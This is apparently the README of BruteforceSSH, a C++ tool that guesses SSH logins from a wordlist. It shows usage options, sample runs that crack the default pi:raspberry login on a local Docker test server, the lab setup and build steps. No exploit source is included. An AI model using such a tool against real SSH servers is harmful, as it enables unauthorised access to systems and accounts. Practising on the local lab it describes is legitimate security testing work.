Usage: BruteforceSSH [options]
Options:
-f, --file <filename> File
-u, --user <username> User (optional)
-h, --host <hostname> Host (default: 127.0.0.1)
-p, --port <port> Port (default: 22)
-t, --timeout <timeout> Timeout (seconds, default: 30)
--help Print help
./BruteforceSSH --file accounts.txt --host localhost --port 2222
Failure: pi:root
Failure: pi:toor
Failure: pi:1234
Success: pi:raspberry
./BruteforceSSH --file passwords.txt --host localhost --port 2222 --user pi
Failure: pi:root
Failure: pi:toor
Failure: pi:1234
Success: pi:raspberry
Ensure you have Docker and Docker Compose installed on your machine.
-
Clone the repository:
git clone https://github.com/xorz57/BruteforceSSH.git cd BruteforceSSH
-
Start the OpenSSH server using Docker Compose:
docker-compose up -d
-
The OpenSSH server will be available on port
2222
of your localhost.
- Username:
pi
- Password:
raspberry
BruteforceSSH relies on the following libraries:
git clone https://github.com/microsoft/vcpkg.git ~/vcpkg
~/vcpkg/bootstrap-vcpkg.sh
git clone https://github.com/xorz57/BruteforceSSH.git
cd BruteforceSSH
cmake -B build -DCMAKE_BUILD_TYPE=Release -S . -DCMAKE_TOOLCHAIN_FILE=~/vcpkg/scripts/buildsystems/vcpkg.cmake
cmake --build build --config Release
ctest --build-config Release
git clone https://github.com/microsoft/vcpkg.git C:/vcpkg
C:/vcpkg/bootstrap-vcpkg.bat
C:/vcpkg/vcpkg.exe integrate install
git clone https://github.com/xorz57/BruteforceSSH.git
cd BruteforceSSH
cmake -B build -DCMAKE_BUILD_TYPE=Release -S . -DCMAKE_TOOLCHAIN_FILE=C:/vcpkg/scripts/buildsystems/vcpkg.cmake
cmake --build build --config Release
ctest --build-config Release